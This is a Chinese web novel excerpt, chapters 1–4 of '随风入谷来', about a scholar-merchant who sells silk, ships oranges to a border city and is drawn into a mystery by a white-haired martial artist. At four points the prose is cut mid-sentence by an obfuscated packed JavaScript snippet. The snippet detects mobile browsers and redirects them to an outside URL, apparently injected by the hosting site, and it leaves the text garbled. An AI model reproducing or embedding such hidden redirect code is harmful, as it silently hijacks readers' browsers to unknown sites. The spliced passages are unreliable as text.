《随风入谷来》 1. 第 1 章 平阳县一个绸布坊里，一个书生模样的青年正和掌柜的谈买卖。 “虚夫子，不是老朽和您讨价还价，实在是本店能吃下的货就这么多。价格再高，我在东家那里不好交待。” 那青年长得颇为俊秀文雅，身姿风骨一看就是读书人，但说出的话却颇为市侩，笑着对那掌柜的道：“王掌柜，您要知道我这批货可都是货真价值的蜀绸，在咱们平阳只有凤来坊才有得卖，货还少得紧。若不是我跟你们东家曾经是同窗，我也不会先来你家出货。这样吧，您若是诚心要，就再加五十两银子，我就把这些货都押在您这，您先卖着。剩下欠我的部分，我下个月再来取。” 王掌柜的一听，这倒可以商量。 他们平阳县能卖得起这蜀绸的布坊不多，除了最大的凤来坊外，就是他们崔记绸庄了。这虚夫子不知从哪儿来的路子，弄来的这批蜀绸虽算不得上品，但也是批好货。其实他要的价格也不高，他们崔记也是吃得下。只是最近店里能流动的现银不多，全部吃下的话他就得去找东家拆借银子。倒也不是不可以，但若是能不麻烦东家他自己处理了，则更显得他这个掌柜的有掌舵的本事。 原本他还有些为难，但这虚夫子不愧是秀才公，脑子就是转得快，竟想到一个分批收款的方式，这倒是十分便利了。 于是他也不再犹豫，道：“好。既然如此，那我们崔记就都收了！” 虚怀谷心下松了口气，面上却是不显，微笑道：“那咱们就立契吧。” “这个自然。” 王掌柜也不拖泥带水。二人商量好细节，将银子如何结算都一一拟好，写好契约，分别签字画押，去官府备了案交完税，便算交割完了。 王掌柜收好绸缎清单与官备底契，脸上总算舒展笑意，道：“虚夫子果然爽快。往后您再有这般好货色，只管先往我崔记来，价钱、账期，老朽都给你最妥当的安排。” 虚怀谷收好属于自己那份契书，从容折好收入袖中，拱手笑道：“那就多谢王掌柜照拂。平阳地界，崔记信誉牢靠，我自然信得过。下个月我会拿着契书如期前来，还望王掌柜莫要拖欠。” “放心放心，绝无差错。” 王掌柜连连应下，又压低声音，好奇问道：“说句题外话，旁人费尽心思都拿不到的蜀地好绸，夫子您究竟是从何处寻来这般货源？” 虚怀谷笑了笑，并不直白作答，只含糊一语带过：“些许门路罢了，做生意嘛，货好、价公、账清就足够。其余不必深究。”说完便不再多言，辞别王掌柜，缓步走出崔记绸庄。 虚怀谷怀里揣着热乎乎的银子，赶在城门关闭前赶回了自家村子。 此时村子里炊烟袅袅，已是傍晚吃饭的时候了。 虚家在南山村的最西边，紧靠着大山。他家是外来户，原是二十多年前逃难来到这里落户的，因此房子比较偏僻，但环境清幽，上山也方便。 他先去了里正家里，将欠的银子还给里正，并留下了一些礼物，感谢过后才离开。 三妹虚怀心已经在家做好了晚饭，正一边看着小弟小妹一边在院子里编箩筐。二弟虚怀明则在后院劈柴火。 虚怀谷拎着在县里买的烧鸡和点心回了家，立刻受到了弟弟妹妹的热烈欢迎。 虚怀明问：“大哥，事情顺利吗？” “顺利。”虚怀谷简单梳洗了一下，上了桌，弟妹都围了过来。 虚家原是耕读世家，在前朝时也做过官。但几十年前战乱频繁，天下诸国纷争四起，虚家也跟许多逃难的家庭一样东奔西逃，待到在南山村安定下来，家底也剩得不多了。但虚老爷子还是读了书，并成了这一带小有名气的秀才公。后来娶了媳妇，生下虚怀谷。 虚怀谷今年二十有一。他比二弟虚怀明大了八岁。虚怀明今年十三，三妹虚怀心十二，四弟虚怀海十岁，幼妹虚怀安八岁。 虚怀谷很长一段时间都是家里的独子。当时他爹在县里当教书先生，家里还有一些薄田，日子过得还算平稳，因此虚怀谷也是自幼跟着亲爹启蒙，认认真真的读了书。但后头他娘不知怎么突然开了怀，一连生下了后面四个弟妹，虽然子嗣多了起来，身体也是垮了。待生下老五后没多久就病逝了。 他娘亲这一去，为了照顾几个孩子，虚父只得辞馆归乡，回家打理起几亩良田。他爹也没有再娶，就这般勉勉强强将孩子们拉扯起来，在虚怀谷十六岁考得秀才后突然一病不起。为了给父亲治病，家里的银子都花光了，田地也陆续卖了不少，最后虚父还是在一年后过世。 当时年仅十七岁的虚怀谷一下子成了一家之主。为了照顾几个弟妹，家里也没了银钱，他便不再念书，在隔壁村的蒙馆里当了个夫子，给附近几个村的孩子们启蒙。 他原本有个自幼定亲的未婚妻，是他爹当年同窗好友之女。他爹这位同窗姓张，原是乡里有名的富户，念书不成，但经商却颇有头脑，后来搬去平阳县做买卖，这几年生意红火，家里也是越发富贵起来。若是虚父不死，虚怀谷年纪轻轻便考上秀才，继续念书的话日后也未来可期。但虚父这一走，将家底都拖垮了，虚怀谷也没了再继续读书的希望，那张家便有了悔婚的念头。 虚怀谷三年孝期还没过，张家便来退了婚。这张家知道自家理亏，且张父与虚老爷子当年有同窗好友之谊，不然也不会给两家结下儿女亲家，因此不仅退还了当年的定亲之物，还赔了虚家大笔的银钱。 对虚怀谷来说，名声、面子那都是次要的，银子才是实实在在的。别看他读了那么多年书，但他性情并不刻板，为人也颇为活泛，看在银子的面上子，便写了退亲书，与张家和和气气地退了亲。 去年年底那家蒙馆因为一些缘故关闭了，虚怀谷便靠着张家给的这些银子做些倒买倒卖的小买卖，好歹将虚家支撑了起来。有些人指指点点，觉得他失了读书人的风骨，却不知平阳县这等小地方，私塾、蒙馆原就不多，教书人更不缺他一个年轻的小秀才。与其做私塾先生挣那微薄的几两银钱，勉强养活家人不饿死，还不如胆子大些做点买卖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495533|202478||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，好歹囤些家底。 二弟虚怀明虚岁十四，再过一两年就该定亲了，三妹也转眼就到了出阁的年纪，不攒点银子，他拿什么给弟弟妹妹娶媳妇出嫁妆？何况他还存着让弟弟读书的念头。二弟虚怀明耽误了太长时间，念书也没什么天分，可能没指望了，但四弟虚怀海读书却颇有悟性，年岁也不大，虚怀谷是想着等存够了钱还要送他去学馆的。 这次这批蜀绸的买卖也是机缘巧合。年前时候二弟怀明上山砍柴，无意中救了一个江湖人士。之前虚父重病时为了贴补家用，他和妹妹怀心也经常上山摘草药，因此知道一些简单的医理，便给那人包扎了伤势，熬了些退烧药。 因他年纪小，背不动人，又留了个心眼，怕把这江湖人士带回家给自家招祸，因而只把人搬到后山一处隐蔽的山洞里，每日送些药材和吃食过去。 那人是个四十多岁的中年人，模样普通，肤色略黑，留着一把山羊胡子，若不是虚怀明看见他随身带着的短剑，真就把他当成个普通账房了。那人受他救治，在山洞里养伤了三日，待身上的伤口开始愈合，便偷偷离开了。虚怀明第四日再去，山洞里已空无一人，周围也收拾得很干净，没留下丝毫痕迹。 虚怀明倒也没纠结此事，只当日行一善了，除了妹妹怀心知道一些，兄妹二人对谁也没提过。那时虚怀谷还在隔壁村子当夫子，每隔十日才能归家一次，也不知道此事。还是蒙馆闭馆，他彻底回了村子，与二弟闲聊之中才知晓来龙去脉，不由惊出一身冷汗。虚怀明年纪小不知此事深浅，虚怀谷却知那人若有恶意，弟弟妹妹年幼没有自保之力，不知会遇到什么样的祸事。也是因着此事，他才不再想教书，而是一心想着多赚些银钱，日后带弟妹去县里生活。 原本随着时间过去，这件事在兄弟三人心中已经渐渐淡忘，谁知前些日子突然有一个布商找到虚怀谷，说他原本有批蜀绸要带去明国贩卖，但到了这平阳县附近却收到家中急信，需要立刻返回。因听说虚怀谷有些门路，便想将这批货低价出给虚怀谷。 虚怀谷今年开春以来确实也在做些布匹的小买卖，但都是靠着乡亲扶助和同窗情谊，在州府和县城里倒腾一些布料，也攒了一点小本钱，但委实没那个本事吞下这么大一笔买卖。这是哪个消息不灵光的多事通给人家介绍的啊？ 只是他虽然腹诽，却还是老老实实地跟着那布商去看了货，果然是一批上好的蜀绸，而且给的价格极低，他只要倒个手就能大赚一笔。但他深知无功不受禄，于是百般试探，反复犹豫，终于那布商吐了口，说是去年他弟弟救了一人，他是受那人所托特意带了这些货来报恩的。 虚怀谷不知那人深浅，原不敢答应。但这笔买卖对他家助益极大，错过只怕要多奋斗好几年。他回去与二弟三妹商量了一番，还是决定接了这笔生意，日后就与那人两不相干了。于是他把家里所有的钱都归拢了一下，又向里正借了一笔银子，终于盘下了那批货。今日这批货顺利出手，不仅收回了本钱还了债，还净赚了三百两银子。 2. 第 2 章 赚了钱，虚家兄妹都很开心。但虚怀谷还是有些顾虑。 等用过晚饭，两个年幼的弟妹都睡下，他将二弟和三妹叫到自己房里商议。 “咱们平阳县到底地方不大，能做的买卖有限。现下赚了银子，我想着出去转转，看看有没有更好的生意可以做。” 他们所在的龙安州是大州府，府城虚怀谷也去过两次。以前是本钱小，门路少，很多生意都够不到门槛。如今他手头的银子加起来也有七八百两了，足以跑一趟更大更远的州府去试试水。甚至有可能，他还想去明国转一圈。 二弟虚怀明还没说什么，三妹先问：“大哥，你要去多久？家里怎么办呢？” 虚怀谷早已想好，道：“我这一去快则两三个月，慢则五六个月，至多半载必定回来。银子我留下一百两，你们收好了，千万不要露白。另外县里的崔记绸庄还欠咱们家三百两，我和王掌柜说好了，每月初五去他那里结五十两，六个月后结清。已经立了契，过了官府，这契约怀明你收好了。下月初五你便拿着它去崔记要账。” “好。”虚怀明小心地将那契约贴身收好。他今年十三，虚岁十四，已经是个半大的小子，而且胆大心细，虚怀谷对他办事还是很放心的。 虚怀心道：“大哥，既然还有崔记的银子收，家里就不用留那么多。留下二十两，足够我们花销一年半载了。剩下你都带着，穷家富路，身上可不能少了钱银。” 虚怀谷道：“我和乡里的上善书院说好了，过两天就让怀海去那里念书。束脩我已经交了，但是读书笔墨纸张这些都需要银子，花销可不小。这一百两还是留下，给怀海念书用。” 虚怀谷和虚怀明都是跟着虚父启蒙的。虚怀谷后来还念过书院，考上了秀才，但虚怀明在虚父重病后便没再读书了。虚怀海是跟着虚怀谷启蒙的，又跟他在隔壁村的蒙馆里念过两年，学业一直没有落下，去了乡里的学馆也跟得上。 虚怀心闻言也没再说什么。在他们虚家，读书是头等大事。 虚怀明对大哥一向信服，更是没有异议。 虚怀谷又跟两个弟妹交待了一些事，便让他们各自回房睡下不提。 之后几天虚怀谷将家里的事一一安排妥当，与虚怀明一起将虚怀海送去了乡里的学馆，这才算放下一桩心事，收拾好了自己的行李也准备出发了。 商人不管去哪儿都不会空手，虚怀谷如今从读书人转行行商，自然也有了几分商人的精明。他们平阳这一带最出名的作物是一种橘子，名叫丹橘，果皮色红如丹砂，皮薄味甜，非常好吃。现下正是第一批丹橘收获的时候，虚怀谷便买了两大船，从平阳县的码头发出，辗转三天，途经龙安府却未停，直奔西北的范州而去。 范州离龙安较远，就在文国与明国的边境交界处。丹橘虽然出名，但在文国境内并非买不到，价格自然高不到哪里去。但明国不一样。明国雄霸洛江以北，国土辽阔，大部分地方水土没有文国丰沛，因而水果的品种和产量也与文国大相径庭。这两船丹橘若是能运到明国，价格至少能翻上三倍。 不过虚怀谷没有那么大的野心和本事。水果这种东西，运输途中损耗太大，虽然现在已经到了秋末，但白日还是有些炎热，时间太长的话橘子也会烂掉。若是真运到明国腹地，价格是上去了，但运输费用和损耗也是极大的。 虚怀谷心中自有盘算。他打算到了范州便将这批丹橘出手给当地的明商。明商都有自己的行商路线，而且他们人脉广路数多，再运进明国不管去哪里卖都比他成本更低、更赚钱。因此他只打算做第一手倒卖，赚上两三成银子不空手走这一趟就成。 如此这般计划，又走了几日，终于到了范州。进了范州便没有了水路，再往北或往西只有陆路可行。虚怀谷在范州码头停了船，凭借橘子皮薄多汁、品相上乘，很快在城中找到了一位愿意全部买下的明国商人。这商人出价公道，结款也爽快，二人交易得十分顺畅。虚怀谷与他约定下回若自己还来贩卖橘子，必定先去他的商行找他。 如此这般出了货，虚怀谷也没有急着离开，打算在范州多留几天，看看这里商贸市集上都有什么货品受欢迎，好为下一步做打算。 范州的位置虽在文国境内，但因靠近边境，两国通市，真真是百货云集，市声鼎沸。 虚怀谷是个读过书的人，当年考秀才也是去过州府的，这一年来东奔西跑，自认也是有几分见识的。但范州这般两国交界的雄城，他也是第一次来。当时甫一入城，他便被眼前的景象震惊得差点走不动道。此城位于两江交汇之地，往北过了洛江就是明国，因而既是雄城通衢，也是边境咽喉，有官兵和水军驻守。城内两国风物汇聚，长街两旁商号连绵，车水马龙，人声鼎沸，真真是虚怀谷从未见过得繁盛景象。 他刚入城时就像个没见过世面的傻小子。好在他气质好形象佳，一派读书人打扮，又不吝银子地请了位当地向导，这才没有露怯。压在手里的货物出手后，他更是轻松了许多，在范州住了几天，对这座繁华的州城也有了更多的了解。 这日他一觉睡到太阳出来，在客栈随便吃了些东西，便悠悠然地出了客栈，往范州最有名的西市而来。 快要入冬，这边天气比他老家冷了许多，这两天他新添了几件衣物，身上也换了一身更保暖的绫面棉袍。他原打算去明国看看， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495534|202478||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但听说入冬后北边冷得很，裘衣大氅等都得准备上，这让他有点犹豫。他是南方人，有点不习惯北边的寒冷。可是做买卖的，不能什么都分季节，有时反季节行商才能赚得更多。 他双手插在兔皮暖手中，慢悠悠地来到西市门口。这两天他已经将这里转熟了，正准备直接进入市集，谁知在街边不起眼的一个小摊子上看见了一大箩筐颜色鲜艳的丹橘正在售卖。 嘿，巧了不是。 虚怀谷一眼就认出这筐橘子正是前几日他卖给明国货商的那批。因这批橘子是他亲自从家乡平阳县装上货船，一路运送而来，橘子的品相、颜色、甚至表皮的纹理，他都十分熟悉。而且为了不和别家搞混，他特意在每筐橘子的箩筐边缘处都系上了不起眼的小麻绳。而这个小摊上装橘子的箩筐正与他卖出的那批分毫不差。 虚怀谷心下奇怪。他的橘子是一次性全款卖给那明国货商的，当时那人清楚地和他说明要将这批橘子全部运回明国去卖，如今怎么会流通到了这范州的市集上？ 虚怀谷心生疑窦，便踱步走了过去，想仔细看个清楚。 那摊主看上去三十多岁，是个面相普通的商贩汉子，正殷勤地给摊位前一个客人介绍着橘子。 他推荐的橘子果蒂粗老、颜色也不甚新鲜，显然是个外行。虚怀谷眼见那客人已经捡起了一个，赶紧快步走了过去，拦住道：“哎哎哎，老人家，别选这个，这个一看就不甜。要选就选这种颜色的。” 那客人拿着橘子的手微微一僵，停在半空中没动。 虚怀谷也不见外地从那人手中取下橘子，选了一个又大又红的塞了过去，道：“呶，老人家，丹橘就要选这种品相的，这才回味甘甜，包您一吃就上瘾。” 那人修长的手指握住橘子，没有说话。 虚怀谷见他不动也不说话，有些奇怪地望了过去，却也微微迟疑起来。 这人内里穿着一身暗紫色长袍，外面罩着一件黑色大氅，头上戴的那顶斗笠高顶宽檐，四面垂纱，将他的面容遮挡得严严实实。然他白色的面纱下，却是有几缕白色长发垂落在肩。因他披着黑色大氅，这白发黑衣便分外明显。因此虚怀谷刚才理所当然地将他认成一位老人家。 但此时二人离得近了，虚怀谷细细一打量，便发现此人身材颀长，腰背挺直，风姿卓然，不似一位老者。且这人的打扮猛一看不打眼，但细看便可发现里面的长袍是用的上等织锦，暗花绫罗，袖口边角等处有精致的暗金刺绣，腰间锦带还嵌有暗红宝石，下坠一红线编织的墨绿玉环。整个人都透着一股低调华贵。 这是一位贵人。 虚怀谷心中冒出这个念头。 3. 第 3 章 此时他才觉得自己刚才莽撞了。此人面容不详、年龄不详、身份不详，但万万不是自己可以开罪的。 虚怀谷机灵应变能力极强，立刻斟酌了一下，道：“您可是对这个橘子不满意？在下的故乡便盛产这种橘子，熟知哪种好吃。刚才是在下多事了，如有冒犯，还请您见谅。” 他摸不准这人年纪，但在他二十来年有限的见识里，发白者皆为老人，称呼“老人家”总是没错的。但此人虽未见容貌，却气度不凡，他总觉得若是以“老”字相称有些冒犯了，便含含糊糊地以“您”代称了。 那人微微一顿，低声道：“无碍。”说完便随手掏出一颗碎银，丢给那商贩。 那小贩原本嫌弃虚怀谷多事，刚才虚怀谷说他推荐的橘子不甜，他差点便要出言反驳了。但后来见另一位客人只买了一个橘子便给了一粒碎银，出手委实大方，心中欢喜，便没再多言。 虚怀谷倒是多看了那小贩几眼，问道：“你这橘子哪里来的？在这范州城里，丹橘可不好买啊。”他一边说着，一边从怀里掏出一个布袋，随意挑选着橘子往里放，一看就是要多买一些。 那小贩见状，看在有银子赚的份上，便道：“我这卖的可是有名的龙安丹橘，千里迢迢从龙安州运过来的，在这范州城里可不多见呢。” 虚怀谷闻言，一边不动声色地问话，一边买了几斤橘子。他已经看出这批橘子就是自己贩运的那批货，但里面还掺杂了一些普通橘子，品相次等，滥竽充数，只是一般人也难以分辨。而且最让他惊异地是价格竟比一般行市便宜了三成，比他卖给那个明商的价格还低了一些。 这批橘子明显是被人倒卖了，而且倒卖的过程肯定是哪里不对，其中定有猫腻。只不知那位明商现下如何了。他们交易那日二人闲话，那明商明明说过要尽快赶回明国，卖了这批丹橘后就赶在过年前回遥京，与家人团圆的。但此刻…… 虚怀谷买了几斤橘子，秤完掏出铜板付账，拎了橘子要走，却见刚才那位客人并未离开。刚才他与小贩说话时，这人就这么站在一旁慢条斯理地剥着虚怀谷给他挑的那个丹橘，一瓣一瓣地往嘴里送。等虚怀谷买完橘子要离开，他也吃得差不多了。 虚怀谷顿了一下，一时不知该不该和这人打声招呼。却见那人只是看了他这个方向一眼，便转身翩然而去。 说也奇怪，这人虽然带着斗笠，垂纱遮面，但虚怀谷总觉得他看自己的那一眼似乎颇有深意。但二人本是萍水相逢，虚怀谷也没放在心上。他现在心事重重，满脑子都是关于这批橘子的事。他去西市逛了一圈，居然又在几个摊位上看见了自家这批丹橘，而且一样掺杂了许多普通橘子，颜色和新鲜程度都有一个品质的下降，价格也很便宜。 虚怀谷回了客栈，越想越觉得此事不对。他是有心将贩卖丹橘这件事做成一个长久买卖的，毕竟他的家乡就以盛产丹橘闻名，若是坏了招牌，以后他再运丹橘来范州，这生意就不好做了。于是他决定打探一下情况，下午便去了那明商处。 那明商的商行不大，就在城南，他当初去过两回。这次过去却发现那商行大门紧闭，连个伙计都没有。他去旁边的店铺打听，人家也不甚清楚，只说前两日还见过那明商收拾货物，想是回明国了。 虚怀谷没有打听出什么，沉吟了一下，便转头雇了一个街头流浪的小子，让他帮忙盯着西市门口那个小摊贩，看看他去哪里进货的丹橘，若能打探出上游货商最好。 每个州城都有这些十来岁的半大小子，或是家中贫困在街上讨生活，或本就是孤儿乞丐。这些流浪儿大多十分机灵有眼色，对城中事物也十分熟悉，大事可能干不了，但是传个消息、盯个人什么的，却十分便宜。 果然第二天那小子便寻到客栈，告诉虚怀谷那卖橘子的小贩是去码头那边一个货商那里进的货。不仅那个小贩，还有城中其他几家水果行和商贩，也都在那人那里进了丹橘。 虚怀谷问清楚那货商的模样和位置，给了那小子几两银子便让人走了。 虚怀谷琢磨了一番，最终还是决定亲自去那个所谓的“上游货商”处探查一番。那货商肯定不是当初与他交易的明国商人，这批货究竟是怎么到了对方手里的实在说不好，其中定有猫腻。 他本是心思缜密、行事沉稳之人，从不打无准备的仗。既知此事蹊跷，稳妥起见还是乔装了一番，将自己打扮成普通的采买客商，又学着那白发之人的样子，买了一顶带着黑纱的斗笠，将自己的脸遮住，这才在傍晚时候悄悄摸去了范州码头。 范州乃是两江通衢之处，码头就有东西两个。当初虚怀谷是在东码头下的船，这些小贩进货却是在西码头。 虚怀谷按照那个小孩说的位置寻了过去，却见这里偏僻，人烟稀少，一般还真少有人来这里进货。 他越发觉得蹊跷，却见远处几个大汉正在往外一筐一筐搬着什么。远远地看不真切，虚怀谷便躲在树后慢慢摸了过去。 离得近了他便看清楚，那些箩筐里装得正是满满的丹橘，且箩筐边缘处都缠着细小的麻绳，正是自己那批货。他心下惊疑，正想着要不要正大光明地装作普通货商过去问一问，却突然感觉手腕一紧，被人拉住。 他吓了一跳，浑身一震，正要回头，谁知动静稍微大了一些，引起了码头搬货的一人注意。那人冲这边喝了一声：“什么人？！” 虚怀谷还没反应过来，突觉后背某处被身后人快速点了一下，然后……然后他回头回了一半就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495535|202478||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发现自己动不了了。 啊啊啊—— 虚怀谷想要大喊出声，却又赫然发现自己喉咙发紧，居然发不出声音了。 这这这…… 他惊恐万分，然后只觉腰间一紧，被人从后用力箍住，然后身子一下腾挪起来，几个起瞬间眼前事物快速掠过，竟已远离刚才躲藏的那棵大树。 这一切发生的太快，虚怀谷根本反应不及。且那人身手极好，轻功更是匪夷所思，单手箍着他的腰，夹着他这么一个大活人竟然悄无声息地将他快速地带离了码头。 怎么回事？见鬼了啊啊啊…… 虚怀谷心中惊叫，却是发不出半点声音。而且离开码头后他便觉得身形倒转，头朝下被那人扛在了肩上，于半空中飞速腾挪起跃。 他的胃顶在那人肩膀上，头晕脑胀，只感觉天旋地转，胸口翻江倒海般难受，白天吃的饭菜在胃里来回冲撞，几乎要呕出来。耳边是呼啸而过的风声，还有脚下的码头、树林、房檐飞速倒退的模糊影子…… 虚怀谷只能死死闭着眼，睫毛因恐惧而不停颤抖。他一个手无缚鸡之力的秀才，平日里最多周旋于布坊、货摊之间，哪里见过这般出神入化的轻功，更没被人这般粗鲁地扛在肩上掳走，心中早已乱作一团。只是恐惧之余，尚有理智思索。 这人是谁？是劫走明商丹橘的劫匪同伙？还是另有图谋？他不过是个来范州做生意的普通货商，既无万贯家财，也无特殊身份，为何会被这般对待？难道是自己追查丹橘的事被发现了？ 无数个念头在他脑海里疯转，可身体却连动一下手指都做不到，只能任由那人摆布。他能清晰地闻到身后人身上淡淡的气息，不是糙汉那般粗陋的汗味与酒气，而是一种清冽淡雅的熏香味道，似松似竹，又带着一丝若有若无的药味，与这人凶悍的掳人举动格格不入。 不知过了多久，可能是一辈子吧…… 耳边的风声渐渐小了，脚下的颠簸也平缓了许多。虚怀谷感觉自己被那人轻轻放到了地上，随即后背和胸口被人轻轻点了两下，一股微弱的暖意顺着穴位蔓延开来，他紧绷的身体瞬间便能活动，喉咙的束缚也随之消失，终于能发出声音了。 “呕……” 虚怀谷万万没想到自己能动后的第一个动作不是惶恐、不是质问、不是躲避，而是趴在地上吐了出来，感觉自己就剩半条命了。 他干呕了两下，其实也没吐出什么，主要就是难受。 “你这人年纪轻轻，身体怎么这么差？”一个略带戏谑的少年声音响起。 虚怀谷缓了一下，慢慢抬起头来，看清眼前人，不由微微一愣。只见昨日在街市上偶遇的那个白发人正站在他面前，身后还站着一位绿衣少年。 4. 第 4 章 刚才被掳走时他眼角余光留意到扛着他的人背后垂下的白色发丝，只是当时还没联想到昨日那人。此时一见便认了出来。只因这人实在让人过目难忘。 他依旧戴着那顶斗笠，垂着纱巾，看不清面容，一身素雅的暗紫色长袍在微风中轻轻飘动，身姿挺拔如松，周身散发着一种清冷疏离的气质。今日他没有穿大氅，更显得人长身玉立，且那身长袍细看便可发现领口袖边的刺绣都与昨日的不同，应该是换了一件。 刚才说话的是这人身后站着的一位少年。少年十六七岁模样，模样俊秀清雅，一身浅绿色长袍，腰系玉带，长发高高束起，打扮得简单利落，神态也甚是古怪机灵。 虚怀谷对那白发人道：“你、你抓我来这里做什么？你究竟是何人？” 他环顾四周，发现这是一间小院，因天色已黑，院内烛火昏明，只能看出这院子摆设简单，其他也看不出什么。 那人没说话，却是他身后的少年答道：“不是抓，是带。带你来的。” 虚怀谷觉得没什么区别，反正都是强迫的。他慢慢站起身来，试着动了动，见对面两人都没什么反应，便略略放心，问道：“您是昨日买橘子的那位……前辈？” 他实在不知该怎么称呼这人，但想到这人身手了得，想必是传说中的江湖人士，因此斟酌了一下，便以“前辈”相称了。 那人终于出声：“你在查那批丹橘。” 他声音低沉，声线清雅，听上去不像个老人家，且看他身姿也是不像的，但却是一头发白，又看不见面容，当真是神秘。 他用的不是问话，而是肯定的语气。虚怀谷便知道自己的行踪被他看破了，便道：“也不是查……呃，就是有些奇怪。” “奇怪什么？”那少年抢先问道。 虚怀谷看了他一眼，又看了一眼那白发人，没有说话。 那少年嗤笑一声，道：“你不会以为你昨日雇那些街头流浪的小儿去跟踪卖橘子的小贩的事，没人知道吧。” 虚怀谷微微一惊。他特意叮嘱过那小儿此事不要跟旁人说，没想到面前二人却是知晓。 那白发人双手负背，淡淡道：“这批丹橘是你运到范州的？” 虚怀谷知道这两人不简单，尤其是为首这位白发人，便也没有隐瞒，道：“是。这批丹橘是我从龙安州平阳县一路运来的，前几日卖给了城里一位姓洪的明国商人。” 昨天买橘子的时候他便说过自己的故乡便盛产丹橘，且他跟那个小贩打听消息时这白发人就站在一旁，能查出自己便是这批货的最初主人并不稀奇。 那少年人问道：“你如何确定这就是你运来的那批？这些橘子上可没有记号。” 虚怀谷道：“我自幼家中就种丹橘的，味道、颜色、果蒂的形状等等我都太熟悉了。而且橘子上虽然没有记号，但箩筐上有。” 他便将每个箩筐上他都用细麻绳做了记号的事说了。那麻绳是他以自己的习惯结的绳，因此一眼就可以辨别出来。 那少年人闻言，对那白发人道：“看来洪兴城的货根本就没有出范州城。现在城里卖的丹橘，就是他的那批。” 白发人微微点头，对虚怀谷道：“你已经将货卖给了洪兴城，银货两讫，这批货是运往明国还是留在范州城里，都与你无关了，为何还要调查此事？” 虚怀谷看出他们对自己没有恶意，而且目的可能和自己一样，便道：“按理说这批丹橘确实与我无关了。但我与洪老板相谈甚欢，合作得十分愉快，说好日后还要继续合作的。当日他说过要尽快把这批橘子运回明国贩卖，冬日里水果价高，至少可以翻上两番，卖完后他正好可以回遥京过年，与家人团圆。可是现在这批丹橘突然出现在范州的行市上，价格不仅没涨，还低了一些，且里面掺杂了许多普通橘子，品相都变成了次等。这事实在蹊跷，我才想调查一二。” 说完他又踌躇了一下，问道：“二位可知洪老板现下在何处？为何要将这批橘子留在范州贩卖？” 那白发人没有回答这个问题，而是道：“此事你不要再查了。回去就当作无事发生，做你自己的生意去吧。” 虚怀谷眉宇微蹙，没有说话。 那少年观他面色，不由有些诧异，语气里带着几分不解与劝诫：“你莫非还打算深究此事？你不过一介异乡行商，无权无势、根基浅薄，纵然真查出了什么端倪，又能奈何得了旁人？” 虚怀谷闻言，神色有些冷淡下来。他毕竟是个读过书的人，风骨还是有几分的，开口道：“我只想让丹橘名扬四海，不叫世间珍味蒙尘。况且洪老板为人坦荡，断不会甘心低价贱卖珍品。这里面一定有缘故，我是定要查得水落石出的。” 少年闻言先是一怔，随即低低嗤笑一声，摇头道：“天真。这城里盘根错节，有人能截下这批橘子，背后牵扯的人物，可不是你一个小小行商得罪得起的。多一事不如少一事，还是赶紧拿着本钱回去做自己的安稳生意，难道不好？” 虚怀谷微微垂眸，神色平静却异常坚定地道：“事有可为，亦有所不为。这位公子还是不要再劝了。” 那少年还要说话，却见那白发人微微抬手，将他止住，沉声对虚怀谷道：“你不怕惹祸上身？” “怕啊。” 虚怀谷坦然应声，看见自己的斗笠掉落在一旁，便走过去捡了起来，随手掸干净，然后抬眼看向对方，目光清亮，道：“可道义所在，不得不为。丹橘清甜干净，人心也该如此。洪老板现在下落不明，此事一日不弄清楚，我便一日不走。” 那白发人闻言，沉默片刻，道：“既然如此，你就留下，不要再回客栈了。今日若不是我出手，你已经打草惊蛇了。” “啊？” “啊？” 两道惊讶之声同时响起，一声是虚怀谷的，另一声是那少年人的。 那少年人反应过来，连忙闭紧嘴巴不再吭声。虚怀谷却是忍不住确认：“我留下？留在这里？为什么？” 白发人目光沉静，淡淡道：“客栈里人多眼杂，各方眼线密布。我们能查到你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495536|202478||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雇人跟踪那些摊贩，追查上游货商，其他人也能查到。现下你已经被人盯上了。你一回去，不出半日，便会有人上门试探、刁难，甚至可能暗中加害。唯有留在此处，我能保你周全。” 